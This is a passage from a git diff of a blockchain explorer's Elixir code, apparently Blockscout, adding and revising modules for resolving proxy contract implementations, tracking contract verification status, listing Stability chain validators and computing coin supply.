upsert_eip7702_implementations(addresses) do + now = DateTime.utc_now() + + records = + addresses + |> Repo.preload(:smart_contract) + |> Enum.flat_map(fn address -> + case EIP7702.quick_resolve_implementations(address) do + {:ok, [delegate_address_hash]} -> + # credo:disable-for-lines:2 Credo.Check.Refactor.Nesting + name = + case address do + %{smart_contract: %{name: name}} -> name + _ -> nil + end + + [ + %{ + proxy_address_hash: address.hash, + proxy_type: :eip7702, + address_hashes: [delegate_address_hash], + names: [name], + inserted_at: now, + updated_at: now + } + ] + + _ -> + [] + end + end) + + Repo.insert_all(__MODULE__, records, + on_conflict: eip7702_on_conflict(), + conflict_target: [:proxy_address_hash] + ) + end + + defp eip7702_on_conflict do + from( + proxy_implementations in __MODULE__, + update: [ + set: [ + address_hashes: fragment("EXCLUDED.address_hashes"), + names: fragment("EXCLUDED.names"), + conflicting_proxy_types: fragment("EXCLUDED.conflicting_proxy_types"), + conflicting_address_hashes: fragment("EXCLUDED.conflicting_address_hashes"), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", proxy_implementations.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", proxy_implementations.updated_at) + ] + ], + where: + fragment("EXCLUDED.proxy_type = ?", proxy_implementations.proxy_type) and + (fragment("EXCLUDED.address_hashes <> ?", proxy_implementations.address_hashes) or + fragment("EXCLUDED.names <> ?", proxy_implementations.names) or + fragment( + "EXCLUDED.conflicting_proxy_types IS DISTINCT FROM ?", + proxy_implementations.conflicting_proxy_types + ) or + fragment( + "EXCLUDED.conflicting_address_hashes IS DISTINCT FROM ?", + proxy_implementations.conflicting_address_hashes + )) + ) + end + + @doc """ + Returns proxy's implementation names + """ + @spec names(Address.t() | nil) :: String.t() | [String.t()] + def names(_proxy_address, options \\ []) + + def names(proxy_address, options) when not is_nil(proxy_address) do + proxy_implementations = get_proxy_implementations(proxy_address.hash, options) + + if proxy_implementations do + proxy_implementations.names + else + [] + end + end + + def names(_, _), do: [] + + @doc """ + Fetches and associates smart contracts for a nested list of address hashes. + + This function takes a nested list of address hashes (`nested_address_hashes`), queries the database + for smart contracts matching the flattened list of address hashes, and then maps the results back + to the original nested structure. Each address hash is associated with its corresponding smart + contract, if found. + + ## Parameters + + - `nested_address_hashes`: A nested list of address hashes (e.g., `[[hash1, hash2], [hash3]]`). + + ## Returns + + - A list of tuples where each tuple contains: + - The original list of address hashes. + - A list of smart contracts corresponding to the address hashes. + + """ + @spec smart_contract_association_for_implementations([Hash.Address.t()]) :: [ + {[Hash.Address.t()], [SmartContract.t() | nil]} + ] + def smart_contract_association_for_implementations(nested_address_hashes) do + query = + from(smart_contract in SmartContract, where: smart_contract.address_hash in ^List.flatten(nested_address_hashes)) + + smart_contracts_map = + query + |> Repo.replica().all() + |> Map.new(&{&1.address_hash, &1}) + + for address_hashes <- nested_address_hashes, + smart_contracts when not is_nil(smart_contracts) <- address_hashes |> Enum.map(&smart_contracts_map[&1]) do + {address_hashes, smart_contracts} + end + end + + if @chain_type == :filecoin do + @doc """ + Fetches associated addresses for Filecoin based on the provided nested IDs. + + This function is used in Ecto preload to retrieve addresses for proxy implementations. + + ## Parameters + + - nested_ids: A list of nested IDs for which the associated addresses need to be fetched. + + ## Returns + + - A list of associated addresses for the given nested IDs. + """ + def addresses_association_for_filecoin(nested_ids) do + query = from(address in Address, where: address.hash in ^List.flatten(nested_ids)) + + addresses_map = + query + |> Repo.replica().all() + |> Map.new(&{&1.hash, &1}) + + for ids <- nested_ids, + address when not is_nil(address) <- ids |> List.flatten() |> Enum.map(&addresses_map[&1]) do + {ids, address} + end + end + + @doc """ + Returns the association for proxy implementations. + + This function is used to retrieve the proxy_implementations associations for address + + ## Examples + + iex> Explorer.Chain.SmartContract.Proxy.Models.Implementation.proxy_implementations_association() + [ + proxy_implementations: [ + addresses: &Explorer.Chain.SmartContract.Proxy.Models.Implementation.addresses_association_for_filecoin/1, + conflicting_addresses: &Explorer.Chain.SmartContract.Proxy.Models.Implementation.addresses_association_for_filecoin/1 + ] + ] + """ + @spec proxy_implementations_association() :: [ + proxy_implementations: [addresses: fun(), conflicting_addresses: fun()] + ] + def proxy_implementations_association do + [proxy_implementations: proxy_implementations_addresses_association()] + end + + @doc """ + Returns the association of proxy implementation addresses. + + This function is used to retrieve the addresses associations for proxy + + ## Examples + + iex> Explorer.Chain.SmartContract.Proxy.Models.Implementation.proxy_implementations_addresses_association() + [ + addresses: &Explorer.Chain.SmartContract.Proxy.Models.Implementation.addresses_association_for_filecoin/1, + conflicting_addresses: &Explorer.Chain.SmartContract.Proxy.Models.Implementation.addresses_association_for_filecoin/1 + ] + + """ + @spec proxy_implementations_addresses_association() :: [addresses: fun(), conflicting_addresses: fun()] + def proxy_implementations_addresses_association do + [ + addresses: &__MODULE__.addresses_association_for_filecoin/1, + conflicting_addresses: &__MODULE__.addresses_association_for_filecoin/1 + ] + end + + def proxy_implementations_smart_contracts_association do + [ + proxy_implementations: [ + addresses: &__MODULE__.addresses_association_for_filecoin/1, + conflicting_addresses: &__MODULE__.addresses_association_for_filecoin/1, + smart_contracts: &__MODULE__.smart_contract_association_for_implementations/1 + ] + ] + end + else + @doc """ + Returns the association for proxy implementations. + + This function is used to retrieve the proxy_implementations associations for address + + ## Examples + + iex> Explorer.Chain.SmartContract.Proxy.Models.Implementation.proxy_implementations_association() + :proxy_implementations + + """ + @spec proxy_implementations_association() :: :proxy_implementations + def proxy_implementations_association do + :proxy_implementations + end + + @doc """ + Returns the association of proxy implementation addresses. + + This function is used to retrieve the addresses associations for proxy. + (Returns [] since in chain types other than Filecoin, the addresses are not needed to preload) + + ## Examples + + iex> Explorer.Chain.SmartContract.Proxy.Models.Implementation.proxy_implementations_addresses_association() + [] + + """ + @spec proxy_implementations_addresses_association() :: [] + def proxy_implementations_addresses_association do + [] + end + + def proxy_implementations_smart_contracts_association do + [proxy_implementations: [smart_contracts: &__MODULE__.smart_contract_association_for_implementations/1]] + end + end +end diff --git a/apps/explorer/lib/explorer/chain/smart_contract/proxy/resolved_delegate_proxy.ex b/apps/explorer/lib/explorer/chain/smart_contract/proxy/resolved_delegate_proxy.ex new file mode 100644 index 000000000000..46741fe73979 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/smart_contract/proxy/resolved_delegate_proxy.ex @@ -0,0 +1,67 @@ +defmodule Explorer.Chain.SmartContract.Proxy.ResolvedDelegateProxy do + @moduledoc """ + Module for fetching proxy implementation from ResolvedDelegateProxy https://github.com/ethereum-optimism/optimism/blob/9580179013a04b15e6213ae8aa8d43c3f559ed9a/packages/contracts-bedrock/src/legacy/ResolvedDelegateProxy.sol + """ + + alias Explorer.Chain.{Data, Hash} + alias Explorer.Chain.SmartContract.Proxy + alias Explorer.Chain.SmartContract.Proxy.ResolverBehaviour + + @behaviour ResolverBehaviour + + @resolved_delegate_proxy <<0x608060408181523060009081526001602090815282822054908290529181207FBF40FAC1000000000000000000000000000000000000000000000000000000009093529173FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9091169063BF40FAC19061006D9060846101E2565B602060405180830381865AFA15801561008A573D6000803E3D6000FD5B505050506040513D601F19601F820116820180604052508101906100AE91906102C5565B905073FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF8116610157576040517F08C379A000000000000000000000000000000000000000000000000000000000815260206004820152603960248201527F5265736F6C76656444656C656761746550726F78793A2074617267657420616460448201527F6472657373206D75737420626520696E697469616C697A656400000000000000606482015260840160405180910390FD5B6000808273FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF16600036604051610182929190610302565B600060405180830381855AF49150503D80600081146101BD576040519150601F19603F3D011682016040523D82523D6000602084013E6101C2565B606091505B5090925090508115156001036101DA57805160208201F35B805160208201FD5B600060208083526000845481600182811C91508083168061020457607F831692505B858310810361023A577F4E487B710000000000000000000000000000000000000000000000000000000085526022600452602485FD5B878601838152602001818015610257576001811461028B576102B6565B7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF008616825284151560051B820196506102B6565B60008B81526020902060005B868110156102B057815484820152908501908901610297565B83019750505B50949998505050505050505050565B6000602082840312156102D757600080FD5B815173FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF811681146102FB57600080FD5B9392505050565B818382376000910190815291905056FEA164736F6C634300080F000A::6392>> + + def quick_resolve_implementations(proxy_address, _proxy_type) do + with {:match, @resolved_delegate_proxy} <- + {:match, proxy_address.contract_code && proxy_address.contract_code.bytes}, + reqs = get_fetch_requirements(proxy_address.hash), + {:ok, values} <- Proxy.fetch_values(reqs, proxy_address.hash), + {:ok, implementation_name} <- extract_short_string(values[reqs |> Enum.at(0)]), + {:ok, address_manager_address_hash} <- Proxy.extract_address_hash(values[reqs |> Enum.at(1)]), + {:ok, implementation_value} <- + Proxy.fetch_value( + {:call, "0x" <> Base.encode16(ABI.encode("getAddress(string)", [implementation_name]), case: :lower)}, + address_manager_address_hash + ), + {:ok, address_hash} <- Proxy.extract_address_hash(implementation_value) do + {:ok, [address_hash]} + else + :error -> :error + # proceed to other proxy types only if bytecode doesn't match + {:match, _} -> nil + # if bytecode matches but resolution fails, we should halt + _ -> {:ok, []} + end + end + + @spec get_fetch_requirements(Hash.Address.t()) :: [ResolverBehaviour.fetch_requirement()] + def get_fetch_requirements(proxy_address_hash) do + # slot 0 + # mapping(address => string) private implementationName; + implementation_name_slot = ExKeccak.hash_256(<<0::96, proxy_address_hash.bytes::binary, 0::256>>) + + # slot 1 + # mapping(address => AddressManager) private addressManager; + address_manager_slot = ExKeccak.hash_256(<<0::96, proxy_address_hash.bytes::binary, 1::256>>) + + [ + storage: "0x" <> Base.encode16(implementation_name_slot, case: :lower), + storage: "0x" <> Base.encode16(address_manager_slot, case: :lower) + ] + end + + # Decodes string value from smart-contract storage value, works only for short strings (<= 31 bytes) + @spec extract_short_string(String.t() | nil) :: {:ok, String.t()} | :error | nil + defp extract_short_string(value) do + with false <- is_nil(value), + {:ok, %Data{bytes: bytes}} <- Data.cast(value), + 32 <- byte_size(bytes), + double_length when double_length > 0 and double_length < 64 <- :binary.last(bytes), + 0 <- rem(double_length, 2) do + {:ok, binary_part(bytes, 0, div(double_length, 2))} + else + :error -> :error + _ -> nil + end + end +end diff --git a/apps/explorer/lib/explorer/chain/smart_contract/proxy/resolver_behaviour.ex b/apps/explorer/lib/explorer/chain/smart_contract/proxy/resolver_behaviour.ex new file mode 100644 index 000000000000..8eb46aa24b1b --- /dev/null +++ b/apps/explorer/lib/explorer/chain/smart_contract/proxy/resolver_behaviour.ex @@ -0,0 +1,55 @@ +defmodule Explorer.Chain.SmartContract.Proxy.ResolverBehaviour do + @moduledoc """ + Behaviour for smart contract proxy resolvers + """ + + alias Explorer.Chain.{Address, Hash} + + @type fetch_requirement :: {:storage | :call, String.t()} + @type fetch_requirements :: %{atom() => fetch_requirement()} + @type fetched_values :: %{atom() => String.t() | nil} + + @optional_callbacks resolve_implementations: 3 + + @doc """ + Tries to immediately resolve implementations for the given proxy address and type, + e.g., when proxy matches the well-known bytecode pattern, so there is no ambiguity. + + For other proxy types, returns a list of fetch requirements that need to be fetched + before calling resolve_implementations, or nil if proxy type should not be resolved further. + + ## Parameters + - `proxy_address`: The address of the proxy contract. + - `proxy_type`: The type of the proxy contract. + + ## Returns + - `{:ok, [Hash.Address.t()]}` if proxy implementations are resolved immediately without ambiguity. + - `{:cont, fetch_requirements()}` if implementations cannot be resolved immediately, + caller should fetch given requirements and call resolve_implementations. + - `:error` if proxy resolution failed. + - `nil` if proxy pattern does not match and no further resolution for this type is necessary. + """ + @callback quick_resolve_implementations(proxy_address :: Address.t(), proxy_type :: atom()) :: + {:ok, [Hash.Address.t()]} | {:cont, fetch_requirements()} | :error | nil + + @doc """ + Resolves implementations for the given proxy address and type. + + ## Parameters + - `proxy_address`: The address of the proxy contract. + - `proxy_type`: The type of the proxy contract. + - `prefetched_values`: The values that were fetched in advance, according + to the fetch requirements returned by quick_resolve_implementations. + + ## Returns + - `{:ok, [Address.t()]}` if implementations are resolved. + - `:error` if resolution failed. + - `nil` if proxy pattern does not match. + """ + @callback resolve_implementations( + proxy_address :: Address.t(), + proxy_type :: atom(), + prefetched_values :: fetched_values() + ) :: + {:ok, [Hash.Address.t()]} | :error | nil +end diff --git a/apps/explorer/lib/explorer/chain/smart_contract/proxy/verification_status.ex b/apps/explorer/lib/explorer/chain/smart_contract/proxy/verification_status.ex new file mode 100644 index 000000000000..ac483648e67e --- /dev/null +++ b/apps/explorer/lib/explorer/chain/smart_contract/proxy/verification_status.ex @@ -0,0 +1,117 @@ +defmodule Explorer.Chain.SmartContract.Proxy.VerificationStatus do + @moduledoc """ + Represents single proxy verification submission + """ + + use Explorer.Schema + + import Ecto.Changeset + + alias Explorer.Chain.Hash + alias Explorer.Chain.SmartContract.Proxy.Models.Implementation + alias Explorer.{Chain, Repo} + + @typep status :: integer() | atom() + + @typedoc """ + * `contract_address_hash` - address of the contract which was tried to verify + * `status` - submission status: :pending | :pass | :fail + * `uid` - unique verification identifier + """ + @primary_key false + typed_schema "proxy_smart_contract_verification_statuses" do + field(:uid, :string, primary_key: true, null: false) + field(:status, Ecto.Enum, values: [pending: 0, pass: 1, fail: 2], null: false) + field(:contract_address_hash, Hash.Address, null: false) + + timestamps() + end + + @required_fields ~w(uid status contract_address_hash)a + + @doc """ + Creates a changeset based on the `struct` and `params`. + """ + @spec changeset(Explorer.Chain.SmartContract.Proxy.VerificationStatus.t()) :: Ecto.Changeset.t() + def changeset(%__MODULE__{} = struct, params \\ %{}) do + struct + |> cast(params, @required_fields) + |> validate_required(@required_fields) + end + + @doc """ + Inserts verification status + """ + @spec insert_status(String.t(), status(), Hash.Address.t() | String.t()) :: any() + def insert_status(uid, status, address_hash) do + {:ok, hash} = if is_binary(address_hash), do: Chain.string_to_address_hash(address_hash), else: {:ok, address_hash} + + %__MODULE__{} + |> changeset(%{uid: uid, status: status, contract_address_hash: hash}) + |> Repo.insert() + end + + @doc """ + Updates verification status + """ + @spec update_status(String.t(), status()) :: __MODULE__.t() + def update_status(uid, status) do + __MODULE__ + |> Repo.get_by(uid: uid) + |> changeset(%{status: status}) + |> Repo.update() + end + + @doc """ + Fetches verification status + """ + @spec fetch_status(binary()) :: __MODULE__.t() | nil + def fetch_status(uid) do + case validate_uid(uid) do + {:ok, valid_uid} -> + __MODULE__ + |> Repo.get_by(uid: valid_uid) + + _ -> + nil + end + end + + @doc """ + Generates uid based on address hash and timestamp + """ + @spec generate_uid(Explorer.Chain.Hash.t()) :: String.t() + def generate_uid(%Hash{byte_count: 20, bytes: address_hash}) do + address_encoded = Base.encode16(address_hash, case: :lower) + timestamp = DateTime.utc_now() |> DateTime.to_unix() |> Integer.to_string(16) |> String.downcase() + address_encoded <> timestamp + end + + @doc """ + Validates uid + """ + @spec validate_uid(String.t()) :: :error | {:ok, <<_::64, _::_*8>>} + def validate_uid(<<_address::binary-size(40), timestamp_hex::binary>> = uid) do + case Integer.parse(timestamp_hex, 16) do + {timestamp, ""} -> + if DateTime.utc_now() |> DateTime.to_unix() >= timestamp do + {:ok, uid} + else + :error + end + + _ -> + :error + end + end + + def validate_uid(_), do: :error + + @doc """ + Sets proxy verification result + """ + @spec set_proxy_verification_result(Implementation.t() | :empty | :error, String.t()) :: __MODULE__.t() + def set_proxy_verification_result(%Implementation{}, uid), do: update_status(uid, :pass) + + def set_proxy_verification_result(_empty_or_error, uid), do: update_status(uid, :fail) +end diff --git a/apps/explorer/lib/explorer/chain/smart_contract/verification_status.ex b/apps/explorer/lib/explorer/chain/smart_contract/verification_status.ex index dd336dcf5ac6..4ababe2d5824 100644 --- a/apps/explorer/lib/explorer/chain/smart_contract/verification_status.ex +++ b/apps/explorer/lib/explorer/chain/smart_contract/verification_status.ex @@ -9,24 +9,19 @@ defmodule Explorer.Chain.SmartContract.VerificationStatus do alias Explorer.Chain.Hash alias Explorer.{Chain, Repo} + alias Explorer.SmartContract.Solidity.PublisherWorker, as: SolidityPublisherWorker + alias Que.Persistence, as: QuePersistence @typedoc """ * `address_hash` - address of the contract which was tried to verify - * `status` - try status: :pending | :pass | :fail - * `uid` - unique verification try identifer + * `status` - try status: :pending | :pass | :fail + * `uid` - unique verification try identifier """ - - @type t :: %__MODULE__{ - uid: String.t(), - address_hash: Hash.Address.t(), - status: non_neg_integer() - } - @primary_key false - schema "contract_verification_status" do - field(:uid, :string, primary_key: true) - field(:status, :integer) - field(:address_hash, Hash.Address) + typed_schema "contract_verification_status" do + field(:uid, :string, primary_key: true, null: false) + field(:status, :integer, null: false) + field(:address_hash, Hash.Address, null: false) timestamps() end @@ -97,6 +92,7 @@ defmodule Explorer.Chain.SmartContract.VerificationStatus do |> Repo.get_by(uid: valid_uid) |> (&if(is_nil(&1), do: 3, else: Map.get(&1, :status))).() |> decode_status() + |> mb_find_uid_in_queue(uid) _ -> :unknown_uid @@ -118,7 +114,7 @@ defmodule Explorer.Chain.SmartContract.VerificationStatus do def validate_uid(<<_address::binary-size(40), timestamp_hex::binary>> = uid) do case Integer.parse(timestamp_hex, 16) do {timestamp, ""} -> - if DateTime.utc_now() |> DateTime.to_unix() > timestamp do + if DateTime.utc_now() |> DateTime.to_unix() >= timestamp do {:ok, uid} else :error @@ -130,4 +126,21 @@ defmodule Explorer.Chain.SmartContract.VerificationStatus do end def validate_uid(_), do: :error + + defp mb_find_uid_in_queue(:unknown_uid, uid) do + SolidityPublisherWorker + |> QuePersistence.all() + |> Enum.find_value(fn + %Que.Job{arguments: {"flattened_api", _, _, ^uid}} -> + :pending + + %Que.Job{arguments: {"json_api", _, _, ^uid}} -> + :pending + + _ -> + nil + end) || :unknown_uid + end + + defp mb_find_uid_in_queue(other_status, _), do: other_status end diff --git a/apps/explorer/lib/explorer/chain/smart_contract_additional_source.ex b/apps/explorer/lib/explorer/chain/smart_contract_additional_source.ex new file mode 100644 index 000000000000..38c716442946 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/smart_contract_additional_source.ex @@ -0,0 +1,60 @@ +defmodule Explorer.Chain.SmartContractAdditionalSource do + @moduledoc """ + The representation of a verified Smart Contract additional sources. + It is used when contract is verified with Sourcify utility. + """ + + require Logger + + use Explorer.Schema + + alias Explorer.Chain.{Hash, SmartContract} + + @typedoc """ + * `file_name` - the name of the Solidity file with contract code (with extension). + * `contract_source_code` - the Solidity source code from the file with `file_name`. + * `address_hash` - foreign key for `smart_contract`. + """ + typed_schema "smart_contracts_additional_sources" do + field(:file_name, :string, null: false) + field(:contract_source_code, :string, null: false) + + # TODO: Why not use smart_contract_id? + belongs_to( + :smart_contract, + SmartContract, + foreign_key: :address_hash, + references: :address_hash, + type: Hash.Address, + null: false + ) + + timestamps() + end + + def changeset(%__MODULE__{} = smart_contract_additional_source, attrs) do + smart_contract_additional_source + |> cast(attrs, [ + :file_name, + :contract_source_code, + :address_hash + ]) + |> validate_required([:address_hash, :file_name, :contract_source_code]) + |> unique_constraint([:address_hash, :file_name]) + end + + def invalid_contract_changeset(%__MODULE__{} = smart_contract_additional_source, attrs, error) do + validated = + smart_contract_additional_source + |> cast(attrs, [ + :address_hash, + :file_name, + :contract_source_code + ]) + |> validate_required([:address_hash, :file_name]) + + add_error(validated, :contract_source_code, error_message(error)) + end + + defp error_message(_), do: "There was an error validating your contract, please try again." +end diff --git a/apps/explorer/lib/explorer/chain/smart_contract_additional_sources.ex b/apps/explorer/lib/explorer/chain/smart_contract_additional_sources.ex deleted file mode 100644 index 850c28f4b678..000000000000 --- a/apps/explorer/lib/explorer/chain/smart_contract_additional_sources.ex +++ /dev/null @@ -1,63 +0,0 @@ -defmodule Explorer.Chain.SmartContractAdditionalSource do - @moduledoc """ - The representation of a verified Smart Contract additional sources. - It is used when contract is verified with Sourcify utility. - """ - - require Logger - - use Explorer.Schema - - alias Explorer.Chain.{Hash, SmartContract} - - @typedoc """ - * `file_name` - the name of the Solidity file with contract code (with extension). - * `contract_source_code` - the Solidity source code from the file with `file_name`. - """ - - @type t :: %Explorer.Chain.SmartContractAdditionalSource{ - file_name: String.t(), - contract_source_code: String.t() - } - - schema "smart_contracts_additional_sources" do - field(:file_name, :string) - field(:contract_source_code, :string) - - belongs_to( - :smart_contract, - SmartContract, - foreign_key: :address_hash, - references: :address_hash, - type: Hash.Address - ) - - timestamps() - end - - def changeset(%__MODULE__{} = smart_contract_additional_source, attrs) do - smart_contract_additional_source - |> cast(attrs, [ - :file_name, - :contract_source_code, - :address_hash - ]) - |> validate_required([:file_name, :contract_source_code, :address_hash]) - |> unique_constraint(:address_hash) - end - - def invalid_contract_changeset(%__MODULE__{} = smart_contract_additional_source, attrs, error) do - validated = - smart_contract_additional_source - |> cast(attrs, [ - :file_name, - :contract_source_code, - :address_hash - ]) - |> validate_required([:file_name, :address_hash]) - - add_error(validated, :contract_source_code, error_message(error)) - end - - defp error_message(_), do: "There was an error validating your contract, please try again." -end diff --git a/apps/explorer/lib/explorer/chain/stability/validator.ex b/apps/explorer/lib/explorer/chain/stability/validator.ex new file mode 100644 index 000000000000..8ba82db8c595 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/stability/validator.ex @@ -0,0 +1,282 @@ +defmodule Explorer.Chain.Stability.Validator do + @moduledoc """ + Stability validators + """ + + use Explorer.Schema + + alias Explorer.Chain.{Address, Block, Import} + alias Explorer.Chain.Hash.Address, as: HashAddress + alias Explorer.{Chain, Repo, SortingHelper} + alias Explorer.SmartContract.Reader + + require Logger + + @default_sorting [ + asc: :state, + asc: :address_hash + ] + + @state_enum [active: 0, probation: 1, inactive: 2] + + @primary_key false + typed_schema "validators_stability" do + field(:address_hash, HashAddress, primary_key: true) + field(:state, Ecto.Enum, values: @state_enum) + field(:blocks_validated, :integer) + + has_one(:address, Address, foreign_key: :hash, references: :address_hash) + timestamps() + end + + @required_attrs ~w(address_hash blocks_validated)a + @optional_attrs ~w(state)a + def changeset(%__MODULE__{} = validator, attrs) do + validator + |> cast(attrs, @required_attrs ++ @optional_attrs) + |> validate_required(@required_attrs) + |> unique_constraint(:address_hash) + end + + @doc """ + Get validators list. + Keyword could contain: + - paging_options + - necessity_by_association + - sorting (supported by `Explorer.SortingHelper` module) + - state (one of `@state_enum`) + """ + @spec get_paginated_validators(keyword()) :: [t()] + def get_paginated_validators(options \\ []) do + paging_options = Keyword.get(options, :paging_options, Chain.default_paging_options()) + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + sorting = Keyword.get(options, :sorting, []) + states = Keyword.get(options, :state, []) + + __MODULE__ + |> apply_filter_by_state(states) + |> Chain.join_associations(necessity_by_association) + |> SortingHelper.apply_sorting(sorting, @default_sorting) + |> SortingHelper.page_with_sorting(paging_options, sorting, @default_sorting) + |> Chain.select_repo(options).all() + end + + defp apply_filter_by_state(query, []), do: query + + defp apply_filter_by_state(query, states) do + query + |> where([vs], vs.state in ^states) + end + + @doc """ + Get all validators + """ + @spec get_all_validators(keyword()) :: [t()] + def get_all_validators(options \\ []) do + __MODULE__ + |> Chain.select_repo(options).all() + end + + @get_active_validator_list_abi %{ + "type" => "function", + "stateMutability" => "view", + "payable" => false, + "outputs" => [%{"type" => "address[]", "name" => "", "internalType" => "address[]"}], + "name" => "getActiveValidatorList", + "inputs" => [] + } + + @get_validator_list_abi %{ + "type" => "function", + "stateMutability" => "view", + "payable" => false, + "outputs" => [%{"type" => "address[]", "name" => "", "internalType" => "address[]"}], + "name" => "getValidatorList", + "inputs" => [] + } + + @get_validator_missing_blocks_abi %{ + "inputs" => [ + %{ + "internalType" => "address", + "name" => "validator", + "type" => "address" + } + ], + "name" => "getValidatorMissingBlocks", + "outputs" => [ + %{ + "internalType" => "uint256", + "name" => "", + "type" => "uint256" + } + ], + "stateMutability" => "view", + "type" => "function" + } + + @get_active_validator_list_method_id "a5aa7380" + @get_validator_list_method_id "e35c0f7d" + @get_validator_missing_blocks_method_id "41ee9a53" + + @stability_validator_controller_contract "0x0000000000000000000000000000000000000805" + + @doc """ + Do batch eth_call of `getValidatorList` and `getActiveValidatorList` methods to `@stability_validator_controller_contract`. + Returns a map with two lists: `active` and `all`, or nil if error. + """ + @spec fetch_validators_lists :: nil | %{active: list(binary()), all: list(binary())} + def fetch_validators_lists do + abi = [@get_active_validator_list_abi, @get_validator_list_abi] + params = %{@get_validator_list_method_id => [], @get_active_validator_list_method_id => []} + + case Reader.query_contract(@stability_validator_controller_contract, abi, params, false) do + %{ + @get_active_validator_list_method_id => {:ok, [active_validators_list]}, + @get_validator_list_method_id => {:ok, [validators_list]} + } -> + %{active: active_validators_list, all: validators_list} + + error -> + Logger.warning(fn -> ["Error on getting validator lists: #{inspect(error)}"] end) + nil + end + end + + @doc """ + Do batch eth_call of `getValidatorMissingBlocks` method to #{@stability_validator_controller_contract}. + Accept: list of validator address hashes + Returns a map: validator_address_hash => missing_blocks_number + """ + @spec fetch_missing_blocks_numbers(list(binary())) :: map() + def fetch_missing_blocks_numbers(validators_address_hashes) do + validators_address_hashes + |> Enum.map(&format_request_missing_blocks_number/1) + |> Reader.query_contracts([@get_validator_missing_blocks_abi]) + |> Enum.zip_reduce(validators_address_hashes, %{}, fn response, address_hash, acc -> + result = + case format_missing_blocks_result(response) do + {:error, message} -> + Logger.warning(fn -> ["Error on getValidatorMissingBlocks for #{validators_address_hashes}: #{message}"] end) + + nil + + amount -> + amount + end + + Map.put(acc, address_hash, result) + end) + end + + defp format_missing_blocks_result({:ok, [amount]}) do + amount + end + + defp format_missing_blocks_result({:error, error_message}) do + {:error, error_message} + end + + defp format_request_missing_blocks_number(address_hash) do + %{ + contract_address: @stability_validator_controller_contract, + method_id: @get_validator_missing_blocks_method_id, + args: [address_hash] + } + end + + @doc """ + Convert missing block number to state + """ + @spec missing_block_number_to_state(integer()) :: atom() + def missing_block_number_to_state(integer) when integer > 0, do: :probation + def missing_block_number_to_state(integer) when integer == 0, do: :active + def missing_block_number_to_state(_), do: nil + + @doc """ + Delete validators by address hashes + """ + @spec delete_validators_by_address_hashes([binary() | HashAddress.t()]) :: {non_neg_integer(), nil | []} | :ignore + def delete_validators_by_address_hashes(list) when is_list(list) and length(list) > 0 do + __MODULE__ + |> where([vs], vs.address_hash in ^list) + |> Repo.delete_all() + end + + def delete_validators_by_address_hashes(_), do: :ignore + + @doc """ + Insert validators + """ + @spec insert_validators([map()]) :: {non_neg_integer(), nil | []} + def insert_validators(validators) do + Repo.insert_all(__MODULE__, validators, + on_conflict: {:replace_all_except, [:inserted_at, :blocks_validated]}, + conflict_target: [:address_hash] + ) + end + + @doc """ + Append timestamps (:inserted_at, :updated_at) + """ + @spec append_timestamps(map()) :: map() + def append_timestamps(validator) do + Map.merge(validator, Import.timestamps()) + end + + @doc """ + Derive next page params from %Explorer.Chain.Stability.Validator{} + """ + @spec next_page_params(t()) :: map() + def next_page_params(%__MODULE__{state: state, address_hash: address_hash, blocks_validated: blocks_validated}) do + %{"state" => state, "address_hash" => address_hash, "blocks_validated" => blocks_validated} + end + + @doc """ + Returns state enum + """ + @spec state_enum() :: Keyword.t() + def state_enum, do: @state_enum + + @doc """ + Returns total count of validators. + """ + @spec count_validators() :: integer() + def count_validators do + Repo.aggregate(__MODULE__, :count, :address_hash) + end + + @doc """ + Returns count of new validators (inserted withing last 24h). + """ + @spec count_new_validators() :: integer() + def count_new_validators do + __MODULE__ + |> where([vs], vs.inserted_at >= ago(1, "day")) + |> Repo.aggregate(:count, :address_hash) + end + + @doc """ + Returns count of active validators. + """ + @spec count_active_validators() :: integer() + def count_active_validators do + __MODULE__ + |> where([vs], vs.state == :active) + |> Repo.aggregate(:count, :address_hash) + end + + @doc """ + Fetch blocks validated + """ + @spec fetch_blocks_validated(list(binary())) :: list({binary(), integer()}) + def fetch_blocks_validated([_ | _] = miner_address_hashes) do + Block + |> where([b], b.miner_hash in ^miner_address_hashes) + |> group_by([b], b.miner_hash) + |> select([b], {b.miner_hash, count(b.hash)}) + |> Repo.all() + end + + def fetch_blocks_validated(_), do: [] +end diff --git a/apps/explorer/lib/explorer/chain/supply.ex b/apps/explorer/lib/explorer/chain/supply.ex index b442e4012597..0287a0dde80b 100644 --- a/apps/explorer/lib/explorer/chain/supply.ex +++ b/apps/explorer/lib/explorer/chain/supply.ex @@ -7,7 +7,7 @@ defmodule Explorer.Chain.Supply do """ @doc """ - The current total number of coins minted minus verifiably burned coins. + The current total number of coins minted minus verifiably burnt coins. """ @callback total :: non_neg_integer() | %Decimal{sign: 1} diff --git a/apps/explorer/lib/explorer/chain/supply/exchange_rate.ex b/apps/explorer/lib/explorer/chain/supply/exchange_rate.ex index d45a8edc02e4..1ef83b1a90c2 100644 --- a/apps/explorer/lib/explorer/chain/supply/exchange_rate.ex +++ b/apps/explorer/lib/explorer/chain/supply/exchange_rate.ex @@ -5,7 +5,6 @@ defmodule Explorer.Chain.Supply.ExchangeRate do use Explorer.Chain.Supply - alias Explorer.ExchangeRates.Token alias Explorer.Market def circulating do @@ -17,6 +16,6 @@ defmodule Explorer.Chain.Supply.ExchangeRate do end def exchange_rate do - Market.get_exchange_rate(Explorer.coin()) || Token.null() + Market.get_coin_exchange_rate() end end diff --git a/apps/explorer/lib/explorer/chain/supply/rsk.ex b/apps/explorer/lib/explorer/chain/supply/rsk.ex index c34cf62d4920..726d7144fc27 100644 --- a/apps/explorer/lib/explorer/chain/supply/rsk.ex +++ b/apps/explorer/lib/explorer/chain/supply/rsk.ex @@ -5,7 +5,7 @@ defmodule Explorer.Chain.Supply.RSK do use Explorer.Chain.Supply - import Ecto.Query, only: [from: 2] + import Ecto.Query, only: [from: 2, subquery: 1] import EthereumJSONRPC, only: 